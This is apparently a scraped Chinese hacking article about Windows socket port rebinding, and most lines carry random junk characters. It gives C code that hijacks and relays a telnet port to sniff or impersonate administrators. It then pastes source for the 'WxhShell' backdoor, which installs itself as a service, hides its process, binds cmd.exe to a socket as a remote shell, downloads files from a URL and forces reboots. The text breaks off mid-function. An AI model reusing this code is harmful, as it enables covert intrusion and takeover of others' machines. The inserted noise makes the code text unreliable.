在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
"VcGr#zW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{Fb)Z"8] ,*S?L
qv^ saddr.sin_family = AF_INET;
3tIIBOwg[ -zc9=n<5 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
z^}T=
$& #|$i H kVY bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
yo
(&~r s977k2pp- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lrq !}\aX 2[M:WZ.1 这意味着什么?意味着可以进行如下的攻击:
*GRhZ~U Ju+@ROZ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
yg\A&0I O%c6 vp7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~01rc ~ xf9
ml 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
u0XGtu$4 c}v:X
Slh7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
S8"X7\d{ b55|JWfC` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6Mk@,\1 `$@1NL7> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8 (.< #C>pA<YJzK 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
1uXtBk6 TF=S \
Q #include
2N)Ywqvj #include
S$JM01 #include
X% _~9'#% #include
8<.KWr DWORD WINAPI ClientThread(LPVOID lpParam);
T_Y 6AII int main()
9sE>K) {
7*`ldao~ WORD wVersionRequested;
-BoN}xE4 DWORD ret;
I}k!i+Yl WSADATA wsaData;
B[$KnQM9Y BOOL val;
6f1;4Jfp SOCKADDR_IN saddr;
*ZaK+ B SOCKADDR_IN scaddr;
g_n=vO('X int err;
PCaa_
2 SOCKET s;
t1ZZru'r SOCKET sc;
bjQfZT( int caddsize;
~}ewna/2 HANDLE mt;
DMs|Q$XB DWORD tid;
bQ
.y,+ wVersionRequested = MAKEWORD( 2, 2 );
lsio\ $ err = WSAStartup( wVersionRequested, &wsaData );
,cC4d` if ( err != 0 ) {
F=P|vYL&& printf("error!WSAStartup failed!\n");
OH)SdSBz return -1;
orHVL 2
KK }
UNY>Q7 saddr.sin_family = AF_INET;
;[9cj&7C< Y$Uvt_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
},f7I^s| >T!n* -Zn saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>eUAHmXQ| saddr.sin_port = htons(23);
~^5uOeTZ~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:'!?dszS {
2RE }l=h5 printf("error!socket failed!\n");
BAKfs/N return -1;
qx!IlO }
&12aI|u^< val = TRUE;
fp>o ^+VB //SO_REUSEADDR选项就是可以实现端口重绑定的
{H>iL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=lDmP|^ {
TR%?U/_4;r printf("error!setsockopt failed!\n");
YK[O#V return -1;
ZcdS?Z2k }
3G>E>yJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?tSY=DK\n //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=3J~Fk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
BO[A1'> xMuy[)b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]}5jX^j {
b?y1cxTT ret=GetLastError();
{'}Ofj printf("error!bind failed!\n");
O:Z|fDQ` return -1;
:YV!;dKJ }
xHL{3^ listen(s,2);
< )?&Jf>_ while(1)
J J3vC {
i&bttSRNV caddsize = sizeof(scaddr);
Nm^q.)dO //接受连接请求
{_
1q`5o sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
W&p-Z"=) if(sc!=INVALID_SOCKET)
hnY^Z_v! {
(ZI&'"H mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
I'yhxymZ; if(mt==NULL)
74[}AA {
1zp,Suv printf("Thread Creat Failed!\n");
}h]:I'R! break;
'Klz`)F }
X G^
}
.g|pgFM? CloseHandle(mt);
om/gk4S2 }
$8eq&_gJ closesocket(s);
2]C0d8=*? WSACleanup();
W&yw5rt** return 0;
b<7.^ }
)O+9v}2 DWORD WINAPI ClientThread(LPVOID lpParam)
5GRN1Aov< {
nC*/?y*9 SOCKET ss = (SOCKET)lpParam;
k~hL8ZT[ SOCKET sc;
> voUh;L unsigned char buf[4096];
Z'fy9 SOCKADDR_IN saddr;
zf S<X long num;
eVlI:yqppj DWORD val;
#Gg^fm DWORD ret;
x)GoxH~# //如果是隐藏端口应用的话,可以在此处加一些判断
#IXQ;2%E //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\Lc]6?,R saddr.sin_family = AF_INET;
}0!\%7-Q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8t7hN?,t saddr.sin_port = htons(23);
9GGBJTk- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)3 v8 {
c,-< 4e printf("error!socket failed!\n");
nh8h?&q| return -1;
]v#T'<Nl }
6zI?K4o val = 100;
L_A|
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
TfxKvol' {
:@3d ret = GetLastError();
"vJADQ4F return -1;
Nyo6R9^ }
8uu:e<PLv if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>\i{,F=U7 {
o^NQ]BdH8
ret = GetLastError();
rms&U)? return -1;
[AGm%o=) }
Xgl>kJy<# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ofi']J{R {
g 08
`=g printf("error!socket connect failed!\n");
p75w^ closesocket(sc);
b"Ulc}$/& closesocket(ss);
Q{a!D0;4v return -1;
3 (<!pA }
lWdE^- while(1)
k+i=0P0mf {
-`gC?yff: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
LnL<WI*Pq //如果是嗅探内容的话,可以再此处进行内容分析和记录
fU8;CZnx //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
m|y]j4 num = recv(ss,buf,4096,0);
9o18VJR if(num>0)
lg=[cC2 send(sc,buf,num,0);
vSyN_ AB?$ else if(num==0)
+Rvj]vd}& break;
XNl!(2x'pb num = recv(sc,buf,4096,0);
W"0 # if(num>0)
aL`pvsnF send(ss,buf,num,0);
H9nq.<;p else if(num==0)
VT9$&\)>O break;
ULJI`I|m }
xpnnWHdaq closesocket(ss);
%NBD^gF closesocket(sc);
FStfGN return 0 ;
+Q '|-># }
o4J K$% %DN&K zz9.OnZ~ ==========================================================
?|L)!LYx .xD-eWw3R 下边附上一个代码,,WXhSHELL
;F:(5GBi Twk zX| ==========================================================
5_O.p3$tV eu4x{NmQ #include "stdafx.h"
GphG/C ( &sKYO<6K} #include <stdio.h>
'=ZE*nGC #include <string.h>
FD6|>G #include <windows.h>
x=Ru@n K; #include <winsock2.h>
1TVTP2&Rd #include <winsvc.h>
oT_,k}L IX #include <urlmon.h>
OW.ckYt% "K@os< #pragma comment (lib, "Ws2_32.lib")
v
;9s #pragma comment (lib, "urlmon.lib")
}Yt0VtLt v3/cNd3 #define MAX_USER 100 // 最大客户端连接数
QO
k%Q$^G #define BUF_SOCK 200 // sock buffer
B;@yOm= #define KEY_BUFF 255 // 输入 buffer
5M(?_qj FxUH?%w #define REBOOT 0 // 重启
SAoqq #define SHUTDOWN 1 // 关机
B845BSmh n-\B z. #define DEF_PORT 5000 // 监听端口
|fA[s7) e^FS/= #define REG_LEN 16 // 注册表键长度
x}roPhZ #define SVC_LEN 80 // NT服务名长度
Oo0$n]*;W <E^:{J95 // 从dll定义API
x?%vqg^r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
tsk}]@W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
CeZ5Ti?F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
<wuP*vI"h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
f;b(W toCN{[ // wxhshell配置信息
G ;z2}Ei struct WSCFG {
U/ZbE?it> int ws_port; // 监听端口
4j | vzyc char ws_passstr[REG_LEN]; // 口令
lDH0bBmd0 int ws_autoins; // 安装标记, 1=yes 0=no
Qj=l OhM char ws_regname[REG_LEN]; // 注册表键名
R_*\?^k|A char ws_svcname[REG_LEN]; // 服务名
hsl8@=_ B char ws_svcdisp[SVC_LEN]; // 服务显示名
_
9k^Hd[L$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
W$3p,VTMmB char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\<PW_'6 int ws_downexe; // 下载执行标记, 1=yes 0=no
6^zv:C% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
LJiMtqg char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)O}x&@Q 06ueE\@Sg };
Rub"" Ga $DMeUA\av // default Wxhshell configuration
a"v D+r7Ol struct WSCFG wscfg={DEF_PORT,
dFUsQ_]< "xuhuanlingzhe",
!~Z L 1,
FCIT+8K "Wxhshell",
n8iN/Y<%U "Wxhshell",
mg;qG@? "WxhShell Service",
qV^H vZJ "Wrsky Windows CmdShell Service",
J0>Q+Y "Please Input Your Password: ",
XGUF9arN 1,
Pc$<Cv|vz
"
http://www.wrsky.com/wxhshell.exe",
=HSE "Wxhshell.exe"
LHacHv };
A$oYw(m# 9LFg": // 消息定义模块
T&!>lqU!J char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+zlaYHj char *msg_ws_prompt="\n\r? for help\n\r#>";
GJW1|Fk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
E:i3
/Ep? char *msg_ws_ext="\n\rExit.";
KctD=6 char *msg_ws_end="\n\rQuit.";
^C'k.pV
n~ char *msg_ws_boot="\n\rReboot...";
[A3hrSw char *msg_ws_poff="\n\rShutdown...";
$<yb~z7J char *msg_ws_down="\n\rSave to ";
auO^v;s Bf7RW[ -v char *msg_ws_err="\n\rErr!";
/yI~(8bO char *msg_ws_ok="\n\rOK!";
-_2=NA?t C!.6:Aj char ExeFile[MAX_PATH];
:n>h[{o% int nUser = 0;
! g}9xIL HANDLE handles[MAX_USER];
!q/?t XM! int OsIsNt;
R
sujKh/ 7?A}qmv SERVICE_STATUS serviceStatus;
3wr~P SERVICE_STATUS_HANDLE hServiceStatusHandle;
2V I*24%z9 // 函数声明
:H?p^d
e int Install(void);
p?!]sO1l int Uninstall(void);
EatpORq int DownloadFile(char *sURL, SOCKET wsh);
*m|]c4 int Boot(int flag);
E]gKJVf9[ void HideProc(void);
*+J&ebSTN int GetOsVer(void);
,+q5e^P int Wxhshell(SOCKET wsl);
v&?Bqj void TalkWithClient(void *cs);
plp).Gq int CmdShell(SOCKET sock);
N),Zb^~nw int StartFromService(void);
Bz24U wcZ int StartWxhshell(LPSTR lpCmdLine);
s{CSU3vYmi |d Soq~Vz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,{.&xJ$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
EJ86k>] R{*p\; // 数据结构和表定义
KcSvf;sx SERVICE_TABLE_ENTRY DispatchTable[] =
(K2 p3M^ {
#!5GGe{I {wscfg.ws_svcname, NTServiceMain},
."h;H^5 {NULL, NULL}
;z[yNW8 };
mMa7Eyaf CjO/q)vV // 自我安装
eDy}_By^ int Install(void)
=|jOio=s: {
v=/V<3 char svExeFile[MAX_PATH];
|g7E*1Ie HKEY key;
}b+=, Sc" strcpy(svExeFile,ExeFile);
^%_LA't'R >`lf1x // 如果是win9x系统,修改注册表设为自启动
L
~ if(!OsIsNt) {
kp0>8rkF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+}:c+Z< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~=c#Ff=Z RegCloseKey(key);
"#p)Z{v"! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
N/y.=] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5v?6J#]2 RegCloseKey(key);
|_ ;-~bmb return 0;
n,fUoS }
R Jg# A` }
n'R
8nn6^ }
$+rdzsf)+/ else {
.Wb), Xe*
L^8+ // 如果是NT以上系统,安装为系统服务
mWigy`V^~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
V#Wd if (schSCManager!=0)
3nG(z> {
b9:E0/6
SC_HANDLE schService = CreateService
tnTr&o# (
x-q er- schSCManager,
v|`)~"~ wscfg.ws_svcname,
J|K~a?&vN wscfg.ws_svcdisp,
D@0eYX4s SERVICE_ALL_ACCESS,
JM M\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
VNMhtwmK, SERVICE_AUTO_START,
jCy2bE SERVICE_ERROR_NORMAL,
%5uuB4P&|$ svExeFile,
)~WxNn3rx NULL,
8IVKS> NULL,
5[I9/4, NULL,
H p1cVs NULL,
T$'Ja'9Kj NULL
|_2O:7qe );
1 iE if (schService!=0)
lv{Qn~\y& {
n2TvPt\ CloseServiceHandle(schService);
^%C.S : CloseServiceHandle(schSCManager);
[]u!piW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,. E:mm strcat(svExeFile,wscfg.ws_svcname);
3J@#V ' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
IoA"e@~t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ofN|%g / RegCloseKey(key);
##FN0|e& return 0;
! 5[?n3 }
E|Z Y2&J`4 }
eyy&JjVs CloseServiceHandle(schSCManager);
gBrIqM i5 }
/Bb\jvk-E }
gBresHrlH _hXadLt return 1;
\24neD4cM@ }
Yr[1-Oy/k t6j(9[gGq // 自我卸载
hNP| int Uninstall(void)
m,8A2;&,8 {
K34y3i_ HKEY key;
bu\,2t}B l%;)0gT if(!OsIsNt) {
`<[Zs]Fe4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%M ~X:A;4 RegDeleteValue(key,wscfg.ws_regname);
Inr ~9hz RegCloseKey(key);
v6iV#yz3( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'e0qdY` RegDeleteValue(key,wscfg.ws_regname);
Th@L68 RegCloseKey(key);
yzXwxi1# return 0;
l=kgRh }
Dx iCq(; }
!dmI}<@&k }
1{"e'[L else {
Lw-)ijBW LkJ3 :3O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b7HS3NYk if (schSCManager!=0)
jLcW;7OAC {
(swP#t5S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0*h\/!e if (schService!=0)
JTdK\A>l {
KLbP;:sr if(DeleteService(schService)!=0) {
oA73\BFfP CloseServiceHandle(schService);
{T=I~#LjMI CloseServiceHandle(schSCManager);
7CNEP2}:R return 0;
]%G[<zD,1 }
(}bP`[@rX! CloseServiceHandle(schService);
MYjDO>(_ }
|L0 s CloseServiceHandle(schSCManager);
$JcU0tPq0 }
y?Fh%%uNr }
Z\TH=UA d4gl V`%. return 1;
E]"ePdZZ/ }
1jQz%^~ X%39cXM C // 从指定url下载文件
Hn:%(Rg=aW int DownloadFile(char *sURL, SOCKET wsh)
]xV7)/b5G {
,7tN&R_ HRESULT hr;
|1;0q<Ka char seps[]= "/";
dZv-lMYBE char *token;
6rdm=8WFA char *file;
j2tw`*S+ char myURL[MAX_PATH];
.rax`@\8 char myFILE[MAX_PATH];
\'j%q\Bl; llQDZ}T strcpy(myURL,sURL);
]Kil/Y token=strtok(myURL,seps);
H6*F?a`)I while(token!=NULL)
;J2=6np {
c_&iGQ file=token;
Ks9"U^bPs token=strtok(NULL,seps);
F y^!*M- }
o^_z+JFwb KJJ8P`Kx GetCurrentDirectory(MAX_PATH,myFILE);
DKYrh-MN strcat(myFILE, "\\");
Z#MPlw0B strcat(myFILE, file);
Hd6Qy {,*- send(wsh,myFILE,strlen(myFILE),0);
Pxy(YMv send(wsh,"...",3,0);
c~z{/L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
dIMs{! if(hr==S_OK)
5U%uS^%DP return 0;
:6Bk< else
PK!=3fK4\F return 1;
D55dD> &!Y^DR/ }
~99Ta]U fs7JA=?: // 系统电源模块
>.QD:_@: int Boot(int flag)
sd.:PE < {
,SS@]9A& HANDLE hToken;
ow%s_yV]R TOKEN_PRIVILEGES tkp;
F5{~2~Cw( 8`9!ocrM if(OsIsNt) {
8[
:FU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
t~Ds) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
CKrh14ul tkp.PrivilegeCount = 1;
@(&ki~+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
JrS/"QSA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
lbTz if(flag==REBOOT) {
\MX>= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
's!EAqCN return 0;
{v<Ig{{V }
aW$7:<A{ else {
($[pCdY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
GS \- return 0;
0t6s20*q }
GP[;+xMBh }
Kl\A&O*{ else {
l% K9Ke if(flag==REBOOT) {
i#&]{]}Qv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
vQYd!DSh return 0;
Xy=|qu }
rsy'ZVLUj else {
n"d~UV^Uw if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
NTls64AS. return 0;
4|7L26,]5 }
N{
;{<C9Z }
Y |n_Ro^~ 1,9RfY V return 1;
Y Q3%vH5#y }
86.!sQ8b D("['`{ // win9x进程隐藏模块
FHqa|4Ie void HideProc(void)
'+Ts IJh {
rh/3N8[6 XNd:x{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ayHI(4!$j if ( hKernel != NULL )
|]Pigi7y- {
<`~]P$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
H Viu7kue` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1K4LEga` FreeLibrary(hKernel);
hFyN|Dqhds }
}DY^a'wJ- &3S;5{7_e return;
NS mo(c>5 }
!\RR UH* N@Bqe{r6j // 获取操作系统版本
;@
%~eIlu int GetOsVer(void)
>0T0K`o {
}0}J OSVERSIONINFO winfo;
: :e=6i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
V]`V3cy1+3 GetVersionEx(&winfo);
!V7VM_}@Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
yEzp+Ky return 1;
Ed.~9*m else
A\.k['! return 0;
<@(HQuL# }
JwxI8Pi*y
> ")%4@ // 客户端句柄模块
C[_{ $j(J int Wxhshell(SOCKET wsl)
|#f
P8OK {
Z:)\j. SOCKET wsh;
7Ja^d-F7 struct sockaddr_in client;
~u/Enl7\- DWORD myID;
jKM-(s!( VDCrFZ!] while(nUser<MAX_USER)
*M6M'>Tin {
KvkiwO( int nSize=sizeof(client);
E':y3T@." wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
g6;O)b if(wsh==INVALID_SOCKET) return 1;
pG:FDlR~ >x(^g~i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0JKbp*H if(handles[nUser]==0)
/p?h@6h@y closesocket(wsh);
R8O<}>3a else
~$YFfv>
nUser++;
gXc&uR0S }
xBR2tDi% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
v=iz*2+X O#CxS/M5 return 0;
(E\7Ui0Q }
+twJHf_U e8--qV#< // 关闭 socket
<b{Le{QJ* void CloseIt(SOCKET wsh)
}m\ {
a:H}c9$% closesocket(wsh);
JY_+p9KfyQ nUser--;
FwmE1, ExitThread(0);
on\0i{0l8 }
T1\.~]-msb ZWh:&e( // 客户端请求句柄
.'L@$]!G void TalkWithClient(void *cs)
6(<M.U_ft {
[{f{E X];a(7+2 SOCKET wsh=(SOCKET)cs;
&&Vz=6N char pwd[SVC_LEN];
#eR*|W7o char cmd[KEY_BUFF];
_lu.@IX- char chr[1];
GriL< =?t int i,j;
`cMa Fc-y/ ^A;v|U while (nUser < MAX_USER) {
b"/P L`yS' if(wscfg.ws_passstr) {
rR^VW^|f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3#^xxEu //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k0{Mq<V*% //ZeroMemory(pwd,KEY_BUFF);
.' 3;Z'%"g i=0;
pU<->d;-> while(i<SVC_LEN) {
rnEWTk7& :M'3U g$t // 设置超时
y~]>J^ fd_set FdRead;
;,'eO i struct timeval TimeOut;
$l 0^2o= FD_ZERO(&FdRead);
haqL
DVrf FD_SET(wsh,&FdRead);
cuW$%$F TimeOut.tv_sec=8;
$*`fn{2 TimeOut.tv_usec=0;
Vdh5s 292h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&NB[:S= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Ag#p ) W5HC7o\4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^W3xw[{ pwd
=chr[0]; {UvZ
if(chr[0]==0xd || chr[0]==0xa) { !E4YUEY6
pwd=0; 7:9WiN5b
break; "qMd%RP
} Y GvtG U-
i++; G0xk @SE
} FgKDk!ci
p/4GOU5g
// 如果是非法用户,关闭 socket u2@:[:Ao
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +p>tO\mo
} @0-<|,^]
AW%^Xt
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ) zz"DH
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jd7+~isu~
,M5zhp$
while(1) { #92MI#|n9
<vhlT#p
ZeroMemory(cmd,KEY_BUFF); 'HH[[9Q
zxT&K|
// 自动支持客户端 telnet标准 u\Tq5PYXt
j=0; D)K/zh)
while(j<KEY_BUFF) { '\[GquK;P
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qMmh2a&
cmd[j]=chr[0]; yI)~- E.
if(chr[0]==0xa || chr[0]==0xd) { OF2*zU7M
cmd[j]=0; 3K_J"B*7
break; h/QZcA
} 65)/|j+
j++; [qI, $ +
} bmGIxBRq
o/)]z
// 下载文件 QZYD;&iY&
if(strstr(cmd,"http://")) { E}b"
qOV
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3.xsCcmP
if(DownloadFile(cmd,wsh)) qVx4 t"%L>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rMdOE&5G
else gcQ>:mi
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6L}$R`s5H
} \L<Hy)l
else { Pz:,q~
LW{7|g
switch(cmd[0]) { 9V9K3xWn
]wc'h>w
// 帮助 l _dWS9
case '?': { 5,Mc`IIK1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?|w>."F
break; d3St Z~&r!
} `!K(P- yB?
// 安装 Xt_8=Q
case 'i': { 9NBFG~)|l[
if(Install()) tux/@}I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L(fOe3
v
else g\,pZ]0i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >h(n8wTP
break;
+ZQf$@+
} bLhTgss](
// 卸载 ;w a-\Z
case 'r': { l#Ipo5=
if(Uninstall()) 9l]+rs+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O@ F0UM`!
else AVF(YD<U
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I~-W4{
break; &z+nNkr?yN
} +? E~F
// 显示 wxhshell 所在路径 6k|o<`~,
case 'p': { iV58 m
char svExeFile[MAX_PATH]; ; $i{>mDT
strcpy(svExeFile,"\n\r"); zogw1g&C
strcat(svExeFile,ExeFile); hs!a'E
send(wsh,svExeFile,strlen(svExeFile),0); &5h{XSv
break; o:W>7~$jr=
} nQy.?*X
// 重启 idPx!
fe
case 'b': { A,Wwt
[Qw
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;6KcX \g-
if(Boot(REBOOT)) "v@Y[QI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P<ElH3J`
else { %M]%[4eC
closesocket(wsh); ="Zr. g~8
ExitThread(0);
W8z4<o[$
} O3/][\
break; a\pOgIp
} 'y[74?1
// 关机 ($pN OGH
case 'd': { ;|}N\[fk%]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K!Te*?b
if(Boot(SHUTDOWN)) 2Tec#eYe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L-?
?%_=
else { bA!n;
closesocket(wsh); w$[&ejFb
ExitThread(0); qIS9.AL
} K|,P
break; $P&{DOiKS
} #.L9/b(
// 获取shell ZP~Mgz{f
case 's': { wI8
CmdShell(wsh); u1a0w
closesocket(wsh); I!eu|_cF
ExitThread(0); IO3 p&sJ/
break; cvxYuP~
} c%+/TO
// 退出 uatY:GSR
case 'x': { )eIC5>#.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `@TWZ%f6
CloseIt(wsh); d9e_slx
break; nWb*u
} @6h,#8#
// 离开 nsn
case 'q': { gR1vUad7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,.DTJ7H+
closesocket(wsh); E:vgG|??
WSACleanup(); '2Q[g0VR
exit(1); u_H=Xm)9
break; Z*/{^ zsE
} \A7{kI
} 1Xzgm0OS;
} QTr)r;Tro
VaP9&tWXj
// 提示信息 |?v(?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !z?&
} Voy1
} 6$/Z.8
C0C2]xx{
return; bpP-wA^Hd
}
C 2t]
X})5XYvA*
// shell模块句柄 ncTPFv
H5
int CmdShell(SOCKET sock) wN
NXUW
{ @=_4i&]$
STARTUPINFO si; I;1W6uD=
ZeroMemory(&si,sizeof(si)); 8u8-:c%{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k_;g-r,
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q)j b9e
PROCESS_INFORMATION ProcessInfo; m.F}9HI%hN
char cmdline[]="cmd"; )XCG4-1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `]~1pc
return 0; %#t*3[
} 9*~bAgkWI
I]GGmN
// 自身启动模式 !0-KB#
int StartFromService(void) E' -lpE
{ s.|OdC>U =
typedef struct ^_\S)P2c
{ w#6)XR|+,.
DWORD ExitStatus; nA*Udrcn
